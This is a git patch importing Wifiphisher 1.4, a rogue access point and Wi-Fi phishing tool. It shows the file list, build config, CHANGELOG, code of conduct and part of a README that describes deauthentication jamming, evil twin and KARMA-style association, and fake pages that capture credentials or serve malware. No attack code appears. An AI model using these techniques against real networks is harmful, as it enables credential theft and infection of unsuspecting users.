From 6f8f7ffb1639c3785bf9786bef6d6acd59b1ac35 Mon Sep 17 00:00:00 2001 From: Sophie Brun Date: Tue, 29 May 2018 11:54:39 +0200 Subject: [PATCH] New upstream version 1.4 --- .editorconfig | 18 + .gitignore | 9 +- .style.yapf | 2 + .travis.yml | 55 + CHANGELOG | 75 + CODE_OF_CONDUCT.md | 74 + ISSUE_TEMPLATE.md | 13 +- LICENSE => LICENSE.txt | 0 MANIFEST.in | 2 +- README.md | 147 +- bin/wifiphisher | 5 + docs/Makefile | 230 + .../install_browser_download.gif | Bin 0 -> 31301 bytes .../getting_started/install_browser_open.gif | Bin 0 -> 29896 bytes .../getting_started/install_browser_page.gif | Bin 0 -> 37772 bytes .../getting_started/install_browser_zip.gif | Bin 0 -> 23389 bytes docs/_static/getting_started/install_git.gif | Bin 0 -> 113331 bytes docs/_static/getting_started/install_pip.gif | Bin 0 -> 124035 bytes docs/_static/wifiphisher_logo.png | Bin 0 -> 5641 bytes docs/api.rst | 145 + docs/conf.py | 293 + docs/faq.rst | 28 + docs/getting_started.rst | 78 + docs/index.rst | 29 + docs/modules.rst | 12 + docs/phishing_scenarios.rst | 123 + docs/users_guide.rst | 43 + pylintrc | 378 + setup.py | 239 +- tests/__init__.py | 1 + tests/test_deauth.py | 856 + tests/test_extensions.py | 165 + tests/test_interfaces.py | 1508 +- tests/test_lure10.py | 173 + tests/test_phishingpage.py | 113 - tox.ini | 25 + .../update/update.exe => common/__init__.py} | 0 wifiphisher/common/accesspoint.py | 262 + wifiphisher/common/constants.py | 162 + wifiphisher/common/extensions.py | 395 + wifiphisher/common/firewall.py | 46 + wifiphisher/common/interfaces.py | 967 + wifiphisher/common/macmatcher.py | 133 + wifiphisher/common/opmode.py | 285 + wifiphisher/common/phishinghttp.py | 180 + wifiphisher/{ => common}/phishingpage.py | 193 +- wifiphisher/common/recon.py | 522 + wifiphisher/common/tui.py | 990 + wifiphisher/common/uimethods.py | 12 + wifiphisher/constants.py | 35 - wifiphisher/data/locs/.gitkeep | 0 wifiphisher/data/logos/asus.png | Bin 3572 -> 0 bytes wifiphisher/data/logos/cisco.png | Bin 22914 -> 0 bytes wifiphisher/data/logos/dlink.png | Bin 13990 -> 0 bytes wifiphisher/data/logos/linksys.png | Bin 12877 -> 0 bytes wifiphisher/data/logos/netgear.png | Bin 8691 -> 0 bytes wifiphisher/data/logos/tplink.png | Bin 10310 -> 0 bytes .../connection_reset/chrome.css | 70 - .../connection_reset/config.ini | 3 - .../connection_reset/firefox.css | 65 - .../connection_reset/icon/chrome.png | Bin 7578 -> 0 bytes .../connection_reset/icon/chrome_fav.ico | Bin 1150 -> 0 bytes .../connection_reset/icon/firefox.png | Bin 5279 -> 0 bytes .../connection_reset/icon/firefox_fav.png | Bin 780 -> 0 bytes .../connection_reset/icon/ie.png | Bin 5170 -> 0 bytes .../phishing-pages/connection_reset/ie.css | 71 - .../connection_reset/index.html | 76 - .../firmware-upgrade/config.ini | 6 +- .../{ => html}/bootstrap.min.css | 0 .../{ => html}/bootstrap.min.js | 0 .../firmware-upgrade/{ => html}/index.html | 190 +- .../firmware-upgrade/{ => html}/jquery.min.js | 0 .../firmware-upgrade/html/loading.html | 320 + .../html/static/bootstrap.min.css | 6 + .../html/static}/bootstrap.min.js | 0 .../font-awesome-4.7.0/css/font-awesome.css | 2337 + .../css/font-awesome.min.css | 4 + .../font-awesome-4.7.0/fonts/FontAwesome.otf | Bin 0 -> 134808 bytes .../fonts/fontawesome-webfont.eot | Bin 0 -> 165742 bytes .../fonts/fontawesome-webfont.svg | 2671 + .../fonts/fontawesome-webfont.ttf | Bin 0 -> 165548 bytes .../fonts/fontawesome-webfont.woff | Bin 0 -> 98024 bytes .../fonts/fontawesome-webfont.woff2 | Bin 0 -> 77160 bytes .../html/static/jquery.min.js | 4 + .../{ => html}/upgrading.html | 8 +- .../phishing-pages/oauth-login/config.ini | 6 + .../oauth-login/html/css/font-awesome.min.css | 4 + .../oauth-login/html/css/reset.css | 1 + .../oauth-login/html/css/roboto.css | 36 + .../oauth-login/html/css/style.css | 214 + .../oauth-login/html/index.html | 120 + .../oauth-login/html/js/index.js | 12 + .../oauth-login/html/js/jquery.min.js | 5 + .../oauth-login/html/license.txt | 10 + .../oauth-login/html/oauth.html | 1 + .../html/static/css/font-awesome.min.css | 4 + .../oauth-login/html/static/css/reset.css | 1 + .../oauth-login/html/static/css/roboto.css | 36 + .../oauth-login/html/static/css/style.css | 214 + .../oauth-login/html/static/js/index.js | 12 + .../oauth-login/html/static/js/jquery.min.js | 5 + .../phishing-pages/plugin_update/config.ini | 4 +- .../{ => html}/css/bootstrap.min.css | 0 .../plugin_update/{ => html}/css/theme.css | 0 .../{ => html}/images/favicon.ico | Bin .../{ => html}/images/plugins.png | Bin .../plugin_update/{ => html}/index.html | 12 +- .../plugin_update/html/js/bootstrap.min.js | 7 + .../plugin_update/{ => html}/js/jquery.js | 0 .../html/static/css/bootstrap.min.css | 6 + .../plugin_update/html/static/css/theme.css | 18 + .../html/static/images/favicon.ico | Bin 0 -> 190493 bytes .../html/static/images/plugins.png | Bin 0 -> 29933 bytes .../html/static/js/bootstrap.min.js | 7 + .../plugin_update/html/static/js/jquery.js | 10308 ++++ .../html/static/update/update.exe | 0 .../plugin_update/html/update/update.exe | 0 .../phishing-pages/wifi_connect/config.ini | 5 + .../wifi_connect/html/behavior.js | 126 + .../wifi_connect/html/chrome-offline.css | 162 + .../wifi_connect/html/dinosaur.png | Bin 0 -> 4501 bytes .../wifi_connect/html/index.html | 420 + .../wifi_connect/html/loading.html | 3 + .../wifi_connect/html/mac-network-manager.css | 148 + .../wifi_connect/html/opensans.css | 6 + .../wifi_connect/html/opensans.ttf | Bin 0 -> 34156 bytes .../wifi_connect/html/question.png | Bin 0 -> 1865 bytes .../wifi_connect/html/static/behavior.js | 126 + .../html/static/chrome-offline.css | 162 + .../wifi_connect/html/static/dinosaur.png | Bin 0 -> 4501 bytes .../html/static/mac-network-manager.css | 148 + .../wifi_connect/html/static/opensans.css | 6 + .../wifi_connect/html/static/opensans.ttf | Bin 0 -> 34156 bytes .../wifi_connect/html/static/question.png | Bin 0 -> 1865 bytes .../wifi_connect/html/static/style.css | 156 + .../wifi_connect/html/static/wifi-icon.png | Bin 0 -> 5579 bytes .../wifi_connect/html/static/win-behavior.js | 5 + .../wifi_connect/html/style.css | 156 + .../wifi_connect/html/wifi-icon.png | Bin 0 -> 5579 bytes .../wifi_connect/html/win-behavior.js | 5 + wifiphisher/data/wifiphisher-known-open-wlans | 212 + wifiphisher/data/wifiphisher-mac-prefixes | 40680 ++++++++-------- wifiphisher/extensions/__init__.py | 0 wifiphisher/extensions/deauth.py | 304 + wifiphisher/extensions/handshakeverify.py | 356 + wifiphisher/extensions/knownbeacons.py | 152 + wifiphisher/extensions/lure10.py | 135 + wifiphisher/extensions/wpspbc.py | 330 + wifiphisher/interfaces.py | 359 - wifiphisher/macmatcher.py | 88 - wifiphisher/phishinghttp.py | 175 - wifiphisher/pywifiphisher.py | 1445 +- 152 files changed, 48858 insertions(+), 22907 deletions(-) create mode 100644 .editorconfig create mode 100644 .style.yapf create mode 100644 .travis.yml create mode 100644 CHANGELOG create mode 100644 CODE_OF_CONDUCT.md rename LICENSE => LICENSE.txt (100%) create mode 100644 docs/Makefile create mode 100644 docs/_static/getting_started/install_browser_download.gif create mode 100644 docs/_static/getting_started/install_browser_open.gif create mode 100644 docs/_static/getting_started/install_browser_page.gif create mode 100644 docs/_static/getting_started/install_browser_zip.gif create mode 100644 docs/_static/getting_started/install_git.gif create mode 100644 docs/_static/getting_started/install_pip.gif create mode 100644 docs/_static/wifiphisher_logo.png create mode 100644 docs/api.rst create mode 100644 docs/conf.py create mode 100644 docs/faq.rst create mode 100644 docs/getting_started.rst create mode 100644 docs/index.rst create mode 100644 docs/modules.rst create mode 100644 docs/phishing_scenarios.rst create mode 100644 docs/users_guide.rst create mode 100644 pylintrc create mode 100644 tests/test_deauth.py create mode 100644 tests/test_extensions.py create mode 100644 tests/test_lure10.py delete mode 100644 tests/test_phishingpage.py create mode 100644 tox.ini rename wifiphisher/{data/phishing-pages/plugin_update/update/update.exe => common/__init__.py} (100%) create mode 100644 wifiphisher/common/accesspoint.py create mode 100644 wifiphisher/common/constants.py create mode 100644 wifiphisher/common/extensions.py create mode 100644 wifiphisher/common/firewall.py create mode 100644 wifiphisher/common/interfaces.py create mode 100644 wifiphisher/common/macmatcher.py create mode 100644 wifiphisher/common/opmode.py create mode 100644 wifiphisher/common/phishinghttp.py rename wifiphisher/{ => common}/phishingpage.py (51%) create mode 100644 wifiphisher/common/recon.py create mode 100644 wifiphisher/common/tui.py create mode 100644 wifiphisher/common/uimethods.py delete mode 100644 wifiphisher/constants.py create mode 100644 wifiphisher/data/locs/.gitkeep delete mode 100644 wifiphisher/data/logos/asus.png delete mode 100644 wifiphisher/data/logos/cisco.png delete mode 100644 wifiphisher/data/logos/dlink.png delete mode 100644 wifiphisher/data/logos/linksys.png delete mode 100644 wifiphisher/data/logos/netgear.png delete mode 100644 wifiphisher/data/logos/tplink.png delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/chrome.css delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/config.ini delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/firefox.css delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/icon/chrome.png delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/icon/chrome_fav.ico delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/icon/firefox.png delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/icon/firefox_fav.png delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/icon/ie.png delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/ie.css delete mode 100644 wifiphisher/data/phishing-pages/connection_reset/index.html rename wifiphisher/data/phishing-pages/firmware-upgrade/{ => html}/bootstrap.min.css (100%) rename wifiphisher/data/phishing-pages/firmware-upgrade/{ => html}/bootstrap.min.js (100%) rename wifiphisher/data/phishing-pages/firmware-upgrade/{ => html}/index.html (53%) rename wifiphisher/data/phishing-pages/firmware-upgrade/{ => html}/jquery.min.js (100%) create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/loading.html create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/bootstrap.min.css rename wifiphisher/data/phishing-pages/{plugin_update/js => firmware-upgrade/html/static}/bootstrap.min.js (100%) create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/font-awesome-4.7.0/css/font-awesome.css create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/font-awesome-4.7.0/css/font-awesome.min.css create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/font-awesome-4.7.0/fonts/FontAwesome.otf create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/font-awesome-4.7.0/fonts/fontawesome-webfont.eot create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/font-awesome-4.7.0/fonts/fontawesome-webfont.svg create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/font-awesome-4.7.0/fonts/fontawesome-webfont.woff create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 create mode 100644 wifiphisher/data/phishing-pages/firmware-upgrade/html/static/jquery.min.js rename wifiphisher/data/phishing-pages/firmware-upgrade/{ => html}/upgrading.html (97%) create mode 100644 wifiphisher/data/phishing-pages/oauth-login/config.ini create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/css/font-awesome.min.css create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/css/reset.css create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/css/roboto.css create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/css/style.css create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/index.html create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/js/index.js create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/js/jquery.min.js create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/license.txt create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/oauth.html create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/static/css/font-awesome.min.css create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/static/css/reset.css create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/static/css/roboto.css create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/static/css/style.css create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/static/js/index.js create mode 100644 wifiphisher/data/phishing-pages/oauth-login/html/static/js/jquery.min.js rename wifiphisher/data/phishing-pages/plugin_update/{ => html}/css/bootstrap.min.css (100%) rename wifiphisher/data/phishing-pages/plugin_update/{ => html}/css/theme.css (100%) rename wifiphisher/data/phishing-pages/plugin_update/{ => html}/images/favicon.ico (100%) rename wifiphisher/data/phishing-pages/plugin_update/{ => html}/images/plugins.png (100%) rename wifiphisher/data/phishing-pages/plugin_update/{ => html}/index.html (88%) create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/js/bootstrap.min.js rename wifiphisher/data/phishing-pages/plugin_update/{ => html}/js/jquery.js (100%) create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/static/css/bootstrap.min.css create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/static/css/theme.css create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/static/images/favicon.ico create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/static/images/plugins.png create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/static/js/bootstrap.min.js create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/static/js/jquery.js create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/static/update/update.exe create mode 100644 wifiphisher/data/phishing-pages/plugin_update/html/update/update.exe create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/config.ini create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/behavior.js create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/chrome-offline.css create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/dinosaur.png create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/index.html create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/loading.html create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/mac-network-manager.css create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/opensans.css create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/opensans.ttf create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/question.png create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/behavior.js create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/chrome-offline.css create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/dinosaur.png create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/mac-network-manager.css create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/opensans.css create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/opensans.ttf create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/question.png create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/style.css create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/wifi-icon.png create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/static/win-behavior.js create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/style.css create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/wifi-icon.png create mode 100644 wifiphisher/data/phishing-pages/wifi_connect/html/win-behavior.js create mode 100644 wifiphisher/data/wifiphisher-known-open-wlans create mode 100644 wifiphisher/extensions/__init__.py create mode 100644 wifiphisher/extensions/deauth.py create mode 100644 wifiphisher/extensions/handshakeverify.py create mode 100644 wifiphisher/extensions/knownbeacons.py create mode 100644 wifiphisher/extensions/lure10.py create mode 100644 wifiphisher/extensions/wpspbc.py delete mode 100644 wifiphisher/interfaces.py delete mode 100644 wifiphisher/macmatcher.py delete mode 100644 wifiphisher/phishinghttp.py diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..946e7af --- /dev/null +++ b/.editorconfig @@ -0,0 +1,18 @@ +root = true + +[*] +end_of_line = lf +insert_final_newline = true + +[*.py] +indent_style = space +indent_size = 4 +charset = utf-8 +trim_trailing_whitespace = true + +[*.md] +trim_trailing_whitespace = false + +[{.travis.yml}] +indent_style = space +indent_size = 2 diff --git a/.gitignore b/.gitignore index 630b7d4..3a83fc0 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,6 @@ +# Locations added by --lure-capture +wifiphisher/data/locs/* + # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] @@ -43,11 +46,15 @@ coverage.xml *.mo *.pot -# Django stuff: +# Ignore logs *.log +*.log* # Sphinx documentation docs/_build/ # PyBuilder target/ + +# Phishing scenarios specific files +wifiphisher/data/phishing-pages/plugin_update/static/update/* diff --git a/.style.yapf b/.style.yapf new file mode 100644 index 0000000..557fa7b --- /dev/null +++ b/.style.yapf @@ -0,0 +1,2 @@ +[style] +based_on_style = pep8 diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..852c20a --- /dev/null +++ b/.travis.yml @@ -0,0 +1,55 @@ +# There's no sudo: required because it slows down Travis CI job startup +# and we don't really need it with addons: apt. + +language: python + +dist: trusty + +python: + - "2.7" + +install: + - pip install pylint tox tornado scapy + - python setup.py install + +# We need system's site_packages for python-dbus. +virtualenv: + system_site_packages: true + +script: + - export DBUS_SYSTEM_BUS_ADDRESS=unix:path=/var/run/dbus/system_bus_socket + - pylint --errors-only wifiphisher + - tox -e ALL + +branches: + only: + - master + +notifications: + email: + on_success: never + on_failure: always + + irc: + channels: + - "chat.freenode.net#wifiphisher" + use_notice: true + +# FIXME: python-tornado is here because of this error: +# +# > Tornado requires an up-to-date SSL module. This means Python 2.7.9+ or 3.4+ +# > (although some distributions have backported the necessary changes to older +# > versions) +# +# Ubuntu does the backporting. The proper solution would be to upgrade Python +# or somehow bypass this Tornado check (or use an older Tornado version +# perhaps?) + +addons: + apt: + packages: + - hostapd + - dnsmasq + - python-dbus + - libdbus-1-dev + - libdbus-glib-1-dev diff --git a/CHANGELOG b/CHANGELOG new file mode 100644 index 0000000..fb0f1c6 --- /dev/null +++ b/CHANGELOG @@ -0,0 +1,75 @@ +Wifiphisher v1.4 [2018-01-12] + +o Added dissociation frame to DEAUTH attack [@anakin1028] +o RSSI output fix [@anakin1028] +o Code quality fixes. [@blackHatMonkey] +o Introduced MAC address randomization [@anakin1028] +o Refactoring of interface management module [@blackHatMonkey] +o Introduced tox. [@blackHatMonkey] +o Added support for providing Internet to victim users via a wireless interface [@anakin1028] +o Tool now kills any interfering processes on startup [@anakin1028] +o Use curses everywhere for TUI [@anakin1028] +o Show the encryption type during AP discovery. [@sophron] +o Introduced Wifiphisher Extensions [@sophron] +o Introduced roguehostapd, a patched version of hostapd. [@anakin1028] +o Introduced WPA/WPA2 captured passphrase validation. [@anakin1028] +o Added WPS info during AP discovery. [@anakin1028] +o Added the option to perform DEAUTH attack based on ESSID [@anakin1028] +o Added operation moded [@sophron] +o Increased performance of modules [@blackHatMonkey] +o Made the tool run with only one physical interface [@anakin1028] +o Introduced --logging option [@blackHatMonkey] +o Introduced channel monitoring to check if target AP switches channel [@anakin1028] +o Introduced Known Beacons attack [@sophron] +o Introduced WPS PBC phishing attack [@anakin1028] + +Wifiphisher v1.3 [2017-04-15] + +o Introduced --quitonsuccess (-qS) option. [@javaes] +o Introduced Travis CI. [@d33tah] +o Install pylint in Travis. [@blackHatMonkey] +o Web server migration to Tornado. Fixes various bugs and increases performance. [@sophron] +o Remove DNS leases after the script restarts. [@laozi999] +o Introduced --internetinterface (-iI) option to provide Internet connectivity to victims. [@sophron] +o Added support for iOS and Android to our network manager imitation template. [@alexsalvetti] +o Introduced a new deauthentication module. [@blackHatMonkey] +o Introduced a new recon module, including new features in target AP selection phase. [@blackHatMonkey] +o Code refactoring including a more modular design. [@sophron] +o Introduced accesspoint module serving as a hostapd wrapper. [@sophron] +o Introducing Lure10, an attack for automatic association against Windows devices. [@sophron] + +Wifiphisher v1.2 [2016-12-04] + +o Web server now starts after DHCP [@sophron] +o Support logging of multiple POST values [@sophron] +o Include some ASCII art [@sophron] +o Introduced 'phishinghttp' module and fixed bugs on HTTP server [@sophron] +o Users may now interactively choose the scenario they wish [@blackHatMonkey] +o Included an impoved algorithm for detecting and using two of the available network interfaces. [@blackHatMonkey] +o Introduced --presharedkey option. Users may now create Evil Twin against password-protected networks. [@sophron] +o Introduced "Browser Plugin Update" scenario. [@V1V1] +o Packaged the project. Dependencies can now be automatically installed with setup.py. [@sophron] +o Added the feature to detect AP vendor based on BSSID. [@lvrach] +o Included template engine. [@lvrach] +o Fixed issues on Ubuntu. [@lvrach] +o Fixed issues on Arch Linux. [@gtklocker] +o Included PyRIC project. [@blackhatMonkey] +o Introduced --essid option. This will skip the AP selection phase. [@sophron] +o Introduced --nojamming option. This will turn off deauthentication. [@sophron] +o Introduced new OAuth template. [@sophron] +o Introduced new "Wi-Fi Connect" template. [@dionyziz] + +Wifiphisher v1.1 [2015-07-01] + +o Fixed compatibility with systems defaulting to python3. [@jaseg] +o Fixed bug with undefined variable (#7). [@yasoob] +o Fixed concatenation error. [@HassenPy] +o Code cleaning. [@yasoob] +o Added connection-reset template. [@shelt] +o PEP8 fixes [@HassenPy] +o Disallowed the usage of an Internet-connected interface for the Access Point as this would reset IP addressing. [@sophron] +o Fixed the bug with the empty password (#97). [@sophron] +o Code restructure. [@sophron] +o Catched exception when another process is listening to one of our ports. [@sophron] +o Output a message when hostapd cannot be installed. [@HassenPy] +o Added support for Pineapple's DD-WRT. [@tgalyean] diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..26c06ff --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,74 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, gender identity and expression, level of experience, +nationality, personal appearance, race, religion, or sexual identity and +orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or +advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project lead author at sophron@latthi.com. All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/ISSUE_TEMPLATE.md b/ISSUE_TEMPLATE.md index cb0fb2b..ff4094e 100644 --- a/ISSUE_TEMPLATE.md +++ b/ISSUE_TEMPLATE.md @@ -1,16 +1,7 @@ -Before opening a new issue, please make sure that what you are about to report has not been reported already. If not, use the following template for reporting: +Before opening a new issue, please make sure that what you are about to report has not been reported already. If not, use the following template for reporting. **Version**: Use `git show | grep commit` command and paste here the output. -**Distribution**: On which GNU/Linux distribution are you using the tool? (e.g. Kali Linux, Gentoo, Debian) -If you know the bug happens on all distributions please mention it. Otherwise, let us know the distribution that you found the bug on. - -**Summary**: Describe the bug in a short paragraph. - -**Description**: Give a more analytical description here. If the bug you are about to report has to do with the WiFi jamming module, please specify the network cards you are using. If the bug has to do with the rogue Access Point (eg NAT or IP addressing issues), also post the output of the `ifconfig -a` and `iwconfig` commands. Finally, if the bug is about the phishing pages or our HTTP minimal server, please specify the browser you are using to connect to it. - -**Steps to Reproduce**: The minimal set of steps necessary to trigger the bug. - -**Expected VS actual behavior**: How were you expecting the tool to behave and what actually happened? +**Description**: Give a more analytical description here. The output of the `iw list` and `iwconfig` commands may be helpful. **Script output**: Paste the output of the tool, including any stack traces. diff --git a/LICENSE b/LICENSE.txt similarity index 100% rename from LICENSE rename to LICENSE.txt diff --git a/MANIFEST.in b/MANIFEST.in index f3905ea..df1f4eb 100644 --- a/MANIFEST.in +++ b/MANIFEST.in @@ -1,2 +1,2 @@ -include LICENSE README.md +include LICENSE.txt README.md recursive-include wifiphisher/data * diff --git a/README.md b/README.md index 9f1aa00..db65ab1 100644 --- a/README.md +++ b/README.md @@ -1,84 +1,137 @@ -

+[![Build Status](https://travis-ci.org/wifiphisher/wifiphisher.svg?branch=master)](https://travis-ci.org/wifiphisher/wifiphisher) +[![Documentation Status](https://readthedocs.org/projects/wifiphisher/badge/?version=latest)](http://wifiphisher.readthedocs.io/en/latest/?badge=latest) +![Python Version](https://img.shields.io/badge/python-2.7-blue.svg) +![License](https://img.shields.io/badge/license-GPL-blue.svg) +[![Chat IRC](https://img.shields.io/badge/chat-IRC-ff69b4.svg)](https://webchat.freenode.net/?channels=%23wifiphisher) + +

## About -Wifiphisher is a security tool that mounts automated phishing attacks against WiFi networks in order to obtain secret passphrases or other credentials. It is a social engineering attack that unlike other methods it does not include any brute forcing. It is an easy way for obtaining credentials from captive portals and third party login pages or WPA/WPA2 secret passphrases. +Wifiphisher is a security tool that performs Wi-Fi automatic association attacks to force wireless clients to unknowingly connect to an attacker-controlled Access Point. It is a rogue Access Point framework that can be used to mount automated victim-customized phishing attacks against WiFi clients in order to obtain credentials or infect the victims with malwares. It can work a social engineering attack tool that unlike other methods it does not include any brute forcing. It is an easy way for obtaining credentials from captive portals and third party login pages (e.g. in social networks) or WPA/WPA2 pre-shared keys. Wifiphisher works on Kali Linux and is licensed under the GPL license. ## How it works -After achieving a man-in-the-middle position using the Evil Twin attack, wifiphisher redirects all HTTP requests to an attacker-controlled look-alike web site. +After achieving a man-in-the-middle position using Wi-Fi automatic association techniques (including "KARMA" and "Known Beacons" attacks), Wifiphisher by default redirects all HTTP requests to an attacker-controlled phishing page. From the victim's perspective, the attack makes use in three phases: 1. **Victim is being deauthenticated from her access point**. Wifiphisher continuously jams all of the target access point's wifi devices within range by forging “Deauthenticate” or “Disassociate” packets to disrupt existing associations. -2. **Victim joins a rogue access point**. Wifiphisher sniffs the area and copies the target access point's settings. It then creates a rogue wireless access point that is modeled by the target. It also sets up a NAT/DHCP server and forwards the right ports. Consequently, because of the jamming, clients will start connecting to the rogue access point. After this phase, the victim is MiTMed. -3. **Victim is being served a realistic router config-looking page**. Wifiphisher employs a minimal web server that responds to HTTP & HTTPS requests. As soon as the victim requests a page from the Internet, wifiphisher will respond with a realistic fake page that asks for credentials. The tool supports community-built templates for different phishing scenarios, such as: - * Router configuration pages that ask for the WPA/WPA2 passphrase due to a router firmware upgrade. - * 3rd party login pages (for example, login pages similar to those of popular social networking or e-mail access sites and products) - * Captive portals, like the ones that are being used by hotels and airports. +2. **Victim joins a rogue access point**. Wifiphisher sniffs the area and copies the target access point's settings. It then creates a rogue wireless access point that is modeled by the target. It also sets up a NAT/DHCP server and forwards the right ports. Consequently, because of the deauth attack and the automatic association techniques, clients will eventually start connecting to the rogue access point. After this phase, the victim is MiTMed. +3. **Victim is being served a realistic specially-customized phishing page**. Wifiphisher employs a minimal web server that responds to HTTP & HTTPS requests. As soon as the victim requests a page from the Internet, wifiphisher will respond with a realistic fake page that asks for credentials or serves malwares. This page will be specifically crafted for the victim. For example, a router config-looking page will contain the brand of the victim's vendor. The tool supports community-built templates for different phishing scenarios. + +


Performing MiTM attack

+ +## Requirements +Following are the requirements for getting the most out of Wifiphisher: + +* Kali Linux. Although people have made Wifiphisher work on other distros, Kali Linux is the officially supported distribution, thus all new features are primarily tested on this platform. +* One wireless network adapter that supports AP & Monitor mode and is capable of injection. For advanced mode, you need two cards; one that supports AP mode and another that supports Monitor mode. Drivers should support netlink. + +## Installation + +To install the latest development version type the following commands: -


Performing MiTM attack

